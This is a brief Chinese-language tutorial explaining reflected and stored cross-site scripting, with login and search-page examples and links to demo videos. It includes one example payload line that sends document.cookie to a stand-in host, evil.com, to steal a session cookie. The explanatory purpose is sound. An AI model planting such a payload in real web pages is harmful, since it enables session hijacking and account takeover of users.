XSS 是一种很常见的攻击手段,在该攻击中攻击者将一个恶意代码段注入到一个运行良好的站点中。XSS 攻击有如下两种基本的类型:
- Reflected XSS
- Stored XSS
Reflected XSS
Reflected XSS 攻击的前提条件是某Web应用程序会把用户输入的信息不加检查和限制地返回给用户。一个常见的例子就是,用户登录时,输入用户名和密码,比如用户Joe登录,密码错误了,网站会显示Sorry, Joe, Your password is incorrect。网站把用户名直接返回给用户, 如果用户输入了Javascript代码,会直接返回给用户,并造成Javascript代码执行。reflected XSS利用了 Web 应用程序安全性低的弱点,该应用程序在浏览器中显示输入参数而不对其中是否存在活动内容进行检查。通常,攻击者会诱使受害者单击 URL。
document.images[0].src="http://evil.com/steal?cookie="
+ document.cookie; </script>
假设 trusted.com 提供了一个服务,该服务具有一个搜索特性能把搜索结果和输入的关键字一起提交回来。如果搜索应用程序没有过滤 URL 中的一些特殊字符(如小于号 (<) 和大于号 (>)),则 <script> 标记也将被插入到用户 Web 页面中,这样将会把文档的 cookie 发送给远程服务器 evil.com。攻击者一旦有了cookie就可以以用户的身份登录网站。
Reflected XSS Demo: http://www.youtube.com/watch?v=V79Dp7i4LRM
Stored XSS
随着 Web 2.0 的普及 stored XSS 攻击越来越严重。Web 2.0 成功的关键是大众之间的共享、交互和协作,因此用户有更多的机会可以通过一些服务(比如说社会网络服务(social network services,SNS)、wiki 或 blog)看到其他用户(具有潜在恶意性)的输入。
不管怎样,输入值验证和数据消毒(sanitation)是防止 XSS 攻击的关键因素。通常,Web 服务器从用户输入中移除脚本,但是攻击者经常会利用服务器的弱点绕过这些过滤器,从而造成一些重大的攻击,比如说 Yamanner 或 MySpaceIn 蠕虫。
Stored XSS Demo: http://www.youtube.com/watch?v=7M-R6U2i5iI